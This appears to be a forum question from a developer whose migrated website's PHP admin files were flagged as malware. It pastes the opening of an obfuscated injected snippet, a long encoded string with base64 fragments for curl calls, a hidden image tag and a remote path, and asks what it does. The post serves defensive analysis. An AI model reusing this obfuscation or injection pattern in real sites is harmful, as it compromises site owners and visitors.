I do not know if it is right to ask this question, if it is not, please let me know.
I recently got a project to move a website from one host (I donβt know which one) to a new one (host agent). I did this, and within one day I received a message from the hosgent that the site was blocked because malicious files were detected on the server. They gave me a list of php files that contained "malware." I opened them, and, of course, there was something unusual. There was a huge hexadecimal string (hereinafter referred to as THE STRING ) assigned to a global variable and a more hidden gibberish below it.
I tried to understand the code, and what I understood is written in the comments
<?php $I1ll=0;$GLOBALS['I1ll'] = ';!AY3VybAqbX2luaXQYWxsb3dfdXJsX2ZvcGVuJFlMQipVX3NldG9wdAU&=X2V4ZWMpxtXwGEXY2xvc2UxDFy&PGltZyBzcmM9Ig^ZIiB3aWR0aD0iMXB4IiBoZWlnaHQ9IjFweCIgLz4CHgoegSFRUUF9IT1NU%_MTI3LgNjbMTAuAgNMTkyLjE2OC4.gdwb}ub3Nvbi5pbgZ2Fib3Iuc2U.c2lsYmVyLmRlZDaGF2ZWFwb2tlLmNvbS5hdQ^PWV8&OgZGlzcGxheV9lcnJvcnMOkZGV0ZXJtaW5hdG9yZnRwDm Mi4xMgMroSUkxSTFsbGwxwU qYmFzZTY0X2RlY29kZQivkYmFzZTY0X2VuY29kZQeaHR0cDovLwFq}SFRUUF9VU0VSX0FHRU5UW*dW5pb 24_D.c2VsZWN0cyrUkVRVUVTVF9VUkkbU0NSSVBUX05BTUUUVVFUllfU1RSSU5H@ _Pw(FL3RtcC8R.kjL3RtcAQVE1QhuVEVNUAkVE1QRElSaKuAdXBsb2FkX3RtcF9kaXIdLg~gdmVyc2lv$LQjLXBocA=kSFRUUF9FWEVDUEhQN;Ijjb3V0b2sH$!iRaHR0cAIOi8vii}L3BnLnBocD91PQ~XJms9mBJnQ9cGhwJnA9?nMJnY9Cd*?6261736536345f6465636f6465'; if (!function_exists('I111II11')){
So in the end, he uses the preg_replace function to replace the string, but from what this code seeks to achieve this, he did nothing with it, not even echo 'ed. Is processor time required? Does the /e modifier have anything to do with this?
Another thing I would like to mention is more code in files, regular codes. These are not junk files, these are website administrative files used to manage the site, such as adding or removing content, etc.
In addition, all files are not exactly the same; they have different lines and extract different parts of it in terms of character numbers.
Any idea what it is?
Edit : I found a similar question where the cleaned version is posted and explained in detail
source share